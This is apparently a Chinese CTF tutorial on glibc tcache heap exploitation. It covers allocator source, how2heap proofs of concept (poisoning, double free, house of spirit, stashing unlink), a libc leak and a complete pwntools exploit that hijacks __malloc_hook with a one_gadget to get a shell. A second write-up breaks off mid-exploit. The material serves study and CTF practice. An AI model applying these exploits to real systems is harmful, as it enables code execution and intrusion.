tcache attack

news2024/11/15 17:28:51

Tcache Attack

tcache让堆利用更加简单:

tcache回顾:

  1. 在 tcache 中新增了两个结构体,分别是 tcache_entrytcache_perthread_struct

    /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
    typedef struct tcache_entry
    {
      struct tcache_entry *next;
    } tcache_entry;
    
    /* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
    typedef struct tcache_perthread_struct
    {
      char counts[TCACHE_MAX_BINS];
      tcache_entry *entries[TCACHE_MAX_BINS];
    } tcache_perthread_struct;
    
    static __thread tcache_perthread_struct *tcache = NULL;
    

    其中有两个重要的函数, tcache_get()tcache_put():

    static void
    tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    
    static void *
    tcache_get (size_t tc_idx)
    {
      tcache_entry *e = tcache->entries[tc_idx];
      assert (tc_idx < TCACHE_MAX_BINS);
      assert (tcache->entries[tc_idx] > 0);
      tcache->entries[tc_idx] = e->next;
      --(tcache->counts[tc_idx]);
      return (void *) e;
    }
    

    这两个函数会在函数 _int_free 和 __libc_malloc 的开头被调用,其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。一个 tcache bin 中的最大块数mp_.tcache_count7

    /* This is another arbitrary limit, which tunables can change.  Each
       tcache bin will hold at most this number of chunks.  */
    # define TCACHE_FILL_COUNT 7
    #endif
    

    再复习一遍 tcache_get() 的源码:

    static __always_inline void *
    tcache_get (size_t tc_idx)
    {
      tcache_entry *e = tcache->entries[tc_idx];
      assert (tc_idx < TCACHE_MAX_BINS);
      assert (tcache->entries[tc_idx] > 0);
      tcache->entries[tc_idx] = e->next;
      --(tcache->counts[tc_idx]);
      return (void *) e;
    }
    

    tcache_get 中,仅仅检查了 tc_idx ,此外,我们可以将 tcache 当作一个类似于 fastbin 的单独链表,只是它的 check,并没有 fastbin 那么复杂,仅仅检查 tcache->entries[tc_idx] = e->next;

tcache的使用:

  1. 内存释放:

    可以看到,在 free 函数的最先处理部分,首先是检查释放块是否页对齐及前后堆块的释放情况,便优先放入 tcache 结构中

    _int_free (mstate av, mchunkptr p, int have_lock)
    {
      INTERNAL_SIZE_T size;        /* its size */
      mfastbinptr *fb;             /* associated fastbin */
      mchunkptr nextchunk;         /* next contiguous chunk */
      INTERNAL_SIZE_T nextsize;    /* its size */
      int nextinuse;               /* true if nextchunk is used */
      INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
      mchunkptr bck;               /* misc temp for linking */
      mchunkptr fwd;               /* misc temp for linking */
    
      size = chunksize (p);
    
      /* Little security check which won't hurt performance: the
         allocator never wrapps around at the end of the address space.
         Therefore we can exclude some size values which might appear
         here by accident or by "design" from some intruder.  */
      if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
          || __builtin_expect (misaligned_chunk (p), 0))
        malloc_printerr ("free(): invalid pointer");
      /* We know that each chunk is at least MINSIZE bytes in size or a
         multiple of MALLOC_ALIGNMENT.  */
      if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
        malloc_printerr ("free(): invalid size");
    
      check_inuse_chunk(av, p);
    
    #if USE_TCACHE
      {
        size_t tc_idx = csize2tidx (size);
    
        if (tcache
          && tc_idx < mp_.tcache_bins
          && tcache->counts[tc_idx] < mp_.tcache_count)
          {
            tcache_put (p, tc_idx);
            return;
          }
      }
    #endif
    
    ......
    }
    
  2. 内存申请:

    在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中。

    • 首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中
    • 其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。
    • 当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。

    fastbin 的时候:

      if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
        {
          idx = fastbin_index (nb);
          mfastbinptr *fb = &fastbin (av, idx);
          mchunkptr pp;
          victim = *fb;
    
          if (victim != NULL)
        {
          if (SINGLE_THREAD_P)
            *fb = victim->fd;
          else
            REMOVE_FB (fb, pp, victim);
          if (__glibc_likely (victim != NULL))
            {
              size_t victim_idx = fastbin_index (chunksize (victim));
              if (__builtin_expect (victim_idx != idx, 0))
                  malloc_printerr ("malloc(): memory corruption (fast)");
              check_remalloced_chunk (av, victim, nb);
    #if USE_TCACHE
              /* While we're here, if we see other chunks of the same size,
             stash them in the tcache.  */
              size_t tc_idx = csize2tidx (nb);
              if (tcache && tc_idx < mp_.tcache_bins)
            {
              mchunkptr tc_victim;
    
              /* While bin not empty and tcache not full, copy chunks.  */
              while (tcache->counts[tc_idx] < mp_.tcache_count
                && (tc_victim = *fb) != NULL)
                {
                  if (SINGLE_THREAD_P)
                   *fb = tc_victim->fd;
                  else
                  {
                    REMOVE_FB (fb, pp, tc_victim);
                    if (__glibc_unlikely (tc_victim == NULL))
                      break;
                  }
                  tcache_put (tc_victim, tc_idx);
                }
            }
    #endif
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
        }
    
    • tcache 取出:在内存申请的开始部分,首先会判断申请大小块,在 tcache 是否存在,如果存在就直接从 tcache 中摘取,否则再使用_int_malloc 分配。
    • 在循环处理 unsorted bin 内存块时,如果达到放入 unsorted bin 块最大数量,会立即返回。默认是 0,即不存在上限。
    #if USE_TCACHE
          /* If we've processed as many chunks as we're allowed while
       filling the cache, return one of the cached ones.  */
          ++tcache_unsorted_count;
          if (return_cached
            && mp_.tcache_unsorted_limit > 0
            && tcache_unsorted_count > mp_.tcache_unsorted_limit)
          {
            return tcache_get (tc_idx);
          }
    #endif
    
    • 在循环处理 unsorted bin 内存块后,如果之前曾放入过 tcache 块,则会取出一个并返回。
    #if USE_TCACHE
          /* If all the small chunks we found ended up cached, return one now.  */
          if (return_cached)
          {
            return tcache_get (tc_idx);
          }
    #endif
    

tcache利用

1. tcache poisoning

  1. 通过覆盖 tcache 中的 next不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

    以 how2heap 中的 tcache_poisoning 为例:

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <assert.h>
    
    int main()
    {
    	// disable buffering
    	setbuf(stdin, NULL);
    	setbuf(stdout, NULL);
    
    	printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
    		   "returning a pointer to an arbitrary location (in this case, the stack).\n"
    		   "The attack is very similar to fastbin corruption attack.\n");
    	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
    		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
    
    	size_t stack_var;
    	printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
    
    	printf("Allocating 2 buffers.\n");
    	intptr_t *a = malloc(128);
    	printf("malloc(128): %p\n", a);
    	intptr_t *b = malloc(128);
    	printf("malloc(128): %p\n", b);
    
    	printf("Freeing the buffers...\n");
    	free(a);
    	free(b);
    
    	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
    	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
    		   "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
    	b[0] = (intptr_t)&stack_var;
    	printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
    
    	printf("1st malloc(128): %p\n", malloc(128));
    	printf("Now the tcache list has [ %p ].\n", &stack_var);
    
    	intptr_t *c = malloc(128);
    	printf("2nd malloc(128): %p\n", c);
    	printf("We got the control\n");
    
    	assert((long)&stack_var == (long)c);
    	return 0;
    }
    

    运行结果是:

    image-20240719153441900

    分析一下,程序先申请了一个大小是 128 的 chunk,然后 free。128 在 tcache 的范围内,因此 free 之后该 chunk 被放到了 tcache 中,调试如下:

    image-20240719154045908

    可以看到,此时第 8 条 tcache 链上已经有了两个 chunk,从 tcache_perthread_struct 结构体中也能得到同样的结论。

    然后修改 tcache 的 next:

    image-20240719154416814

    此时,第 8 条 tcache 链的 next 已经被改成栈上的地址了。接下来类似 fastbin attack,只需进行两次 malloc(128) 即可控制栈上的空间:

    第一次 malloc:

    image-20240719154716140

    第二次 malloc,即可 malloc 栈上的地址了:

    在这里插入图片描述

    可以看出 tcache posioning 这种方法和 fastbin attack 类似,但因为没有 size 的限制 (不用再伪造size字段了,直接修改头节点的next指针 即可,前提是bin的数量足够==>count不为0)有了更大的利用范围。

2. tcache dup (double free)

  1. 类似 fastbin dup,不过利用的是 tcache_put() 的不严谨:

    static __always_inline void
    tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    

    可以看出,tcache_put() 的检查也可以忽略不计(甚至没有对 tcache->counts[tc_idx] 的检查),大幅提高性能的同时安全性也下降了很多。

    因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list

    以 how2heap 的 tcache_dup 为例分析,源码如下:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
        fprintf(stderr, "This file demonstrates a simple double-free attack withtcache.\n");
        fprintf(stderr, "Allocating buffer.\n");
        int *a = malloc(8);
        fprintf(stderr, "malloc(8): %p\n", a);
        fprintf(stderr, "Freeing twice...\n");
        free(a);
        free(a);
        fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
        fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
        return 0;
    }
    

    调试一下,第一次 free,tcache 的第一条链放入了一个 chunk:

    image-20240719161330250

    第二次 free 时,虽然 free 的是同一个 chunk,但因为 tcache_put() 没有做任何检查,因此程序不会 crash,可以看出,这种方法与 fastbin dup 相比也简单了很多(fastbin在free时有头部检查,不能两次释放同一个):

    image-20240719161523304

3. tcache perthread corruption

  1. 我们已经知道 tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。

    例子,申请到tcache_perthread_struct作为chunk,然后修改其中的值,实现任意大小、任意地址的chunk分配

    地址:[CISCN 2021 初赛]lonelywolf | NSSCTF

    题解:[NSSCTF堆][tcache]-CSDN博客

4. tcache house of spirit

  1. 拿 how2heap 的源码来讲:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main()
    {
        fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
        fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
        fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
        fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
    
        fprintf(stderr, "Ok. Let's start with the example!.\n\n");
    
    
        fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
        malloc(1);
    
        fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
        unsigned long long *a; //pointer that will be overwritten
        unsigned long long fake_chunks[10]; //fake chunk region
    
        fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
    
        fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
        fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
        fake_chunks[1] = 0x40; // this is the size
    
    
        fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
        fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    
        a = &fake_chunks[2];
    
        fprintf(stderr, "Freeing the overwritten pointer.\n");
        free(a);
    
        fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
        fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
    }
    

    运行结果:

    image-20240719163603904

    攻击之后的目的是,去控制栈上的内容。malloc 一块 chunk ,然后我们通过在栈上 fake 的 chunk,然后去 free 掉他,我们会发现,tcache中会出现栈上fake_chunk存放next指针的地址:

    在这里插入图片描述

    通过一次malloc就能申请到该fake_chunk,从而控制栈上的数据。

5. smallbin unlink

  1. 在 small bin 中包含有空闲块的时候,会同时将同大小的其他空闲块,放入 tcache 中,此时也会出现解链操作 unlink ,但相比于 unlink 宏,缺少了链完整性校验。因此,原本 unlink 操作在该条件下也可以使用。

6. tcache stashing unlink attack

  1. 这种攻击利用的是 tcache bin 有剩余 (数量小于 TCACHE_MAX_BINS ) 时,同大小的 small bin 会放进 tcache 中 (这种情况可以用 calloc 分配同大小堆块触发,因为 calloc 分配堆块时不从 tcache bin 中选取)。在获取到一个 smallbin 中的一个 chunk 后,如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。当攻击者可以写一个 small bin 的 bk 指针时,其可以在任意地址上写一个 libc 地址 (类似 unsorted bin attack 的效果)。构造得当的情况下也可以分配 fake chunk 到任意地址。

  2. 这里以 how2heap 中的 tcache_stashing_unlink_attack.c 为例:

    我们按照释放的先后顺序smallbin[sz] 中的两个 chunk 分别为 chunk0 和 chunk1。我们修改 chunk1 的 bkfake_chunk_addr。同时还要在 fake_chunk_addr->bk 处提前写一个可写地址 writable_addr 。调用 calloc(size-0x10) 的时候会返回给用户 chunk0 (这是因为 smallbin 的 FIFO 分配机制),假设 tcache[sz] 中有 5 个空闲堆块,则有足够的位置容纳 chunk1 以及 fake_chunk 。在源码的检查中,只对第一个 chunk 的链表完整性做了检测 __glibc_unlikely (bck->fd != victim) ,后续堆块在放入过程中并没有检测。

    因为 tcache 的分配机制是 LIFO ,所以位于 fake_chunk->bk 指针处的 fake_chunk 在链入 tcache 的时候反而会放到链表表头。在下一次调用 malloc(sz-0x10) 时会返回 fake_chunk+0x10 给用户,同时,由于 bin->bk = bck;bck->fd = bin; 的 unlink 操作,会使得 writable_addr+0x10 处被写入一个 libc 地址:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main(){
        unsigned long stack_var[0x10] = {0};
        unsigned long *chunk_lis[0x10] = {0};
        unsigned long *target;
    
        fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
        fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
        fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
        fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
        fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
    
        // stack_var emulate the fake_chunk we want to alloc to
        fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
        fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
    
        stack_var[3] = (unsigned long)(&stack_var[2]);
    
        fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
        fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
        fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");
    
        //now we malloc 9 chunks
        for(int i = 0;i < 9;i++){
            chunk_lis[i] = (unsigned long*)malloc(0x90);
        }
    
        //put 7 tcache
        fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
    
        for(int i = 3;i < 9;i++){
            free(chunk_lis[i]);
        }
    
        fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
    
        //last tcache bin
        free(chunk_lis[1]);
        //now they are put into unsorted bin
        free(chunk_lis[0]);
        free(chunk_lis[2]);
    
        //convert into small bin
        fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
    
        malloc(0xa0);//>0x90
    
        //now 5 tcache bins
        fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
    
        malloc(0x90);
        malloc(0x90);
    
        fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
    
        //change victim->bck
        /*VULNERABILITY*/
        chunk_lis[2][1] = (unsigned long)stack_var;
        /*VULNERABILITY*/
    
        //trigger the attack
        fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
    
        calloc(1,0x90);
    
        fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
    
        //malloc and return our fake chunk on stack
        target = malloc(0x90);   
    
        fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
        return 0;
    }
    

    image-20240719171711798

    这个 poc 用栈上的一个数组上模拟 fake_chunk 。首先构造出 5 个 tcache chunk2 个 smallbin chunk 的情况。模拟 UAF 漏洞修改 bin2->bk 为 fake_chunk ,在 calloc(0x90) 的时候触发攻击。

    我们在 calloc 处下断点,调用前查看堆块排布情况。此时 tcache[0xa0] 中有 5 个空闲块。可以看到 chunk1->bk 已经被改为了 fake_chunk_addr 。而 fake_chunk->bk 也写上了一个可写地址。由于 smallbin 是按照 bk 指针寻块的,分配得到的顺序应当是 0x55555555b250->0x55555555b390->0x7fffffffdde0 (FIFO) 。调用 calloc 会返回给用户 0x55555555b250+0x10。

    image-20240719172758389

    image-20240719173030486

    在这里插入图片描述

    调用 calloc 后再查看堆块排布情况,可以看到 fake_chunk 已经被链入 tcache_entry[8] , 且因为分配顺序变成了 LIFO , 0x7fffffffdde0-0x10 这个块被提到了链表头,下次 malloc(0x90) 即可获得这个块:

    image-20240719173540969

    其 fd 指向下一个空闲块,在 unlink 过程中 bck->fd = bin 的赋值操作使得 0x7fffffffdde0+0x10写入了一个 libc 地址 (与unsortedbin attack写入一个较大的地址一样)。

    image-20240719173820587

7. libc leak

  1. 在以前的 libc 版本中,我们只需这样:

    #include <stdlib.h>
    #include <stdio.h>
    
    int main()
    {
        long *a = malloc(0x1000);
        malloc(0x10);		//防止于top chunk合并
        free(a);
        printf("%p\n",a[0]);
    } 
    
  2. 但是在 2.26 之后的 libc 版本后,我们首先得先把 tcache 填满:

    #include <stdlib.h>
    #include <stdio.h>
    
    int main(int argc , char* argv[])
    {
        long* t[7];
        long *a=malloc(0x100);
        long *b=malloc(0x10);		//防止于top chunk合并
    
        // make tcache bin full
        for(int i=0;i<7;i++)
            t[i]=malloc(0x100);
        for(int i=0;i<7;i++)
            free(t[i]);
    
        free(a);
        // a is put in an unsorted bin because the tcache bin of this size is full
        printf("%p\n",a[0]);
    } 
    

Tcache Check

  1. 在最新的 libc 的 commit 中更新了 Tcache 的 double free 的 check

    index 6d7a6a8..f730d7a 100644 (file)
    --- a/malloc/malloc.c
    +++ b/malloc/malloc.c
    @@ -2967,6 +2967,8 @@ mremap_chunk (mchunkptr p, size_t new_size)
     typedef struct tcache_entry
     {
       struct tcache_entry *next;
    +  /* This field exists to detect double frees.  */
    +  struct tcache_perthread_struct *key;
     } tcache_entry;
    
     /* There is one of these for each thread, which contains the
    @@ -2990,6 +2992,11 @@ tcache_put (mchunkptr chunk, size_t tc_idx)
     {
       tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
       assert (tc_idx < TCACHE_MAX_BINS);
    +
    +  /* Mark this chunk as "in the tcache" so the test in _int_free will
    +     detect a double free.  */
    +  e->key = tcache;
    +
       e->next = tcache->entries[tc_idx];
       tcache->entries[tc_idx] = e;
       ++(tcache->counts[tc_idx]);
    @@ -3005,6 +3012,7 @@ tcache_get (size_t tc_idx)
       assert (tcache->entries[tc_idx] > 0);
       tcache->entries[tc_idx] = e->next;
       --(tcache->counts[tc_idx]);
    +  e->key = NULL;
       return (void *) e;
     }
    
    @@ -4218,6 +4226,26 @@ _int_free (mstate av, mchunkptr p, int have_lock)
       {
         size_t tc_idx = csize2tidx (size);
    
    +    /* Check to see if it's already in the tcache.  */
    +    tcache_entry *e = (tcache_entry *) chunk2mem (p);
    +
    +    /* This test succeeds on double free.  However, we don't 100%
    +       trust it (it also matches random payload data at a 1 in
    +       2^<size_t> chance), so verify it's not an unlikely coincidence
    +       before aborting.  */
    +    if (__glibc_unlikely (e->key == tcache && tcache)) //通过key找到tcache的地址,进行比较
    +      {
    +       tcache_entry *tmp;
    +       LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
    +       for (tmp = tcache->entries[tc_idx];
    +            tmp;
    +            tmp = tmp->next)
    +         if (tmp == e)
    +           malloc_printerr ("free(): double free detected in tcache 2");
    +       /* If we get here, it was a coincidence.  We've wasted a few
    +          cycles, but don't abort.  */
    +      }
    +
         if (tcache
            && tc_idx < mp_.tcache_bins
            && tcache->counts[tc_idx] < mp_.tcache_count)
    

    通过key找到tcache的地址,进行比较:key值check,如果要绕过可以在free后将key值清0,再释放同一个块,就能绕过检查:

    image-20240712221904850

例题1:children_tcache

题目地址:children_tcache

思路:

  1. 利用off_by_one创造unlink从而free向后合并,实现chunk之间的重叠,从而泄漏main_arena中的地址。
  2. 利用tcache dup实现任意地址分配chunk,进而实现任意地址写数据 ==> 用one_gadget覆盖malloc_hook,从而getshell。

分析:

  1. 只有添加、显示、删除三个函数,add函数,其中的read函数存在off_by_null漏洞,会在输入的字符串最后加上00:

    image-20240720153857815

  2. delete函数,清空堆指针,没有UAF漏洞,并且chunk在free后会根据申请的大小填充满0xda(在利用off_by_null构造unlink时prev_size中的0xda要消去):

    image-20240720154020559

  3. show函数,结合delete用函数,同样不存在UAF,会输出堆指针指向的内容:

    image-20240720154224685

利用:

  1. 因为存在tcache,并且在tcache中的chunk时不能合并的(unlink),所以要申请大于0x410的chunk,释放后才能进入unsortedbin。申请一个0x410的chunk一个0x500的chunk,用来实现unlink,另外在两个chunk中间申请一个0x10的chunk,来创造unlink,并最后输出泄漏的main_arena中的地址:

    add(0x410,'s')	#0 实现unlink
    add(0x18,'k')	#1 创建unlink
    add(0x4f0,'y')	#2 触发unlink
    add(0x20,'e')	#3 防止合并
    

    image-20240720155835791

  2. 利用chunk1创建unlink:清空chunk2的prev_inuse位,在prev_size位伪造大小:

    free(0) #为unlink做准备
    
    #清空chunk2的prev_inuse位,并伪造prev_size位,利用循环将prev_size位中的高位清空
    free(1)
    for i in range(0,9):
        add(0x18-i,b"a"*(0x18-i))   #0
        free(0)
    
    payload0 = b"a"*0x10+p64(0x420+0x20)
    add(0x18,payload0)  #申请一个与chunk0同样大小的堆,将合并后的chunk0中的main_arena地址推到chunk1中输出
    
    # 泄漏libc地址
    free(2)
    add(0x410,b"libc leak") #1
    show(0)
    
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    malloc_hook_addr = libc.symbols["__malloc_hook"] + libc_base
    success("malloc_hook_addr==>"+hex(malloc_hook_addr))
    

    image-20240720155511138

    image-20240720155711979

  3. 再申请一个size为0x20的chunk,其会与chunk1重叠,再释放掉这两个chunk,就实现了tcache dup:

    #tcache dup
    add(0x18,b"tcache dup") #2
    free(0)
    free(2)
    add(0x18,p64(malloc_hook_addr)) #0 将next指针改为malloc_hook地址,再次申请就能申请到该地址
    
    add(0x18,b"d")  #2 申请到malloc_hook作为cunk
    

    image-20240720160225161

    修改next指针:

    image-20240720160428828

  4. 最后像malloc_hook中写入onegadget地址:

    exeve_addr = one_gadget[2]+libc_base
    success("exeve_addr==>"+hex(exeve_addr))
    payload = p64(exeve_addr)
    add(0x18,payload)
    add(0x18,b"get shell")
    p.sendline(b"cat flag")
    p.interactive()
    

    image-20240720160635035

  5. 完整的EXP:

    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    def debug():
        print(proc.pidof(p))
        pause()
    
    # p = remote("node5.buuoj.cn",28220)
    p = process("./pwn")
    libc = ELF('./libc-2.27.so')
    elf = ELF("./pwn")
    
    def add(size,content):
        p.sendline(b'1')
        p.sendline(str(size).encode())
        p.sendline(content)
    
    def show(index):
        p.sendline(b'2')
        p.sendlineafter(b':',str(index).encode())
    
    def free(index):
        p.sendline(b'3')
        p.sendline(str(index).encode())
    
    one_gadget = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
    
    add(0x410,b"a") #0
    add(0x18,b"a")  #1
    add(0x4f0,b"a") #2
    add(0x20,b'a')  #3
    
    free(0) #为unlink做准备
    
    #清空chunk2的prev_inuse位,并伪造prev_size位,利用循环将prev_size位中的高位清空
    free(1)
    for i in range(0,9):
        add(0x18-i,b"a"*(0x18-i))   #0
        free(0)
        print("count",i)
    
    payload0 = b"a"*0x10+p64(0x420+0x20)
    add(0x18,payload0)  #0
    
    # 泄漏libc地址
    free(2)
    add(0x410,b"libc leak") #1
    show(0)
    
    p.recv()
    addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    success("main_arena_unsortbin_addr==>"+hex(addr))
    main_arena_offset = libc.symbols["__malloc_hook"]+0x10
    success("main_arena_offset==>"+hex(main_arena_offset))
    libc_base = addr-(main_arena_offset+0x60)
    success("libc_addr==>"+hex(libc_base))
    malloc_hook_addr = libc.symbols["__malloc_hook"] + libc_base
    success("malloc_hook_addr==>"+hex(malloc_hook_addr))
    
    #tcache dup
    add(0x18,b"tcache dup") #2
    free(0)
    free(2)
    
    add(0x18,p64(malloc_hook_addr)) #0
    
    add(0x18,b"d")  #2
    exeve_addr = one_gadget[2]+libc_base
    success("exeve_addr==>"+hex(exeve_addr))
    payload = p64(exeve_addr)
    add(0x18,payload)
    add(0x18,b"get shell")
    
    p.sendline(b"cat flag")
    p.interactive()
    

    拿到flag:

    image-20240720160739360

例题2:hitcon_ctf_2019_one_punch

题目地址:hitcon_ctf_2019_one_punch

[!IMPORTANT]

在2.29及以后得版本中对 unsordea bin的进行了双向链表检查,故unsortec bin attack就不可以再用了,不过 tcache stashing unlink attack 可以达到同样的效果

原理:就是我们从 smallbin中取出 chunk时,会检如果当前大小的 smallbin中还有 bin,并且 tcache bin中还有空余的位置 (数量没堆满7个)就 会把剩余 chunk 链入到 tcache bin中(可以通过calloc实现,calloc不会从tcache中拿chunk),在链入的过程只对第一个bin进行双向链表检查,后续bin缺少完整性检查(还是因为没有进行双向链表检查造成的,跟unsorted bin attack差不多就是触发前提有所不同)

从上面可以看出首先需要 Etcache从 (smallbin中链入一个 chunk,这个怎么做?如何跳过 tcache bin从 smallbin取 chunk?

使用 calloc(它不会从 tcache bin里取堆块)

适用版本:目前适用于所有带tcache的glibc版本(2.26—2.36)利用条件

1、能使用calloc分配堆块 (在tcache没满时,跳过tcache从smallbin中拿chunk

2、有溢出或uaf (修改small bin中的bk指针)

思路:

  1. 利用tcache stashing unlink attack,将tcache中size为0x220的bin的数量改大 (至少是8才行),从而绕过后门函数的if检查,且保证能申请两次。(原因是要想实现任意地址分配chunk,就要利用malloc函数从伪造的tcache申请,但是要利用malloc函数必须绕过检查,检查是tcache中0x220bin的数量要大于6,也就是说tcache中0x220bin的数量必须保持在7以上,但是count的上线是7,修改掉next指针后完全 不够申请两次 )。
  2. 修改tcache中size为0x220的bin的next指针,指向malloc_hook的地址处。
  3. 利用后门函数中的malloc申请到malloc_hook处的chunk,最后ORW获取flag。

分析:

  1. 主要看delete函数,堆指针未清0 ,存在UAF漏洞,利用该漏洞来实现tcache stashing unlink attack

    image-20240721212853916

  2. add函数,index只能为0、1、2,其次写入的数据先往栈上写,再copy到堆上(利用这个漏洞往栈上写ROP,然后malloc_hook执行ROP):

    image-20240721213012477

利用:

  1. 先填满tcache获取堆的基地址,和libc基地址:

    for i in range(0,7):
        add(0,b"a"*0x87)
        free(0)
    show(0)
    # 获取堆的基地址
    p.recvuntil(b"hero name: ")
    heap_base = u64(p.recv(6).ljust(8,b"\x00"))&0xfffffffff000
    success("heap_base==>"+hex(heap_base))
    
    add(0,b"a"*0x87)
    add(1,b"flag"+b"\x00"*(0x87-4))
    free(0)
    show(0)
    #泄漏main_arena中的地址
    p.recv()
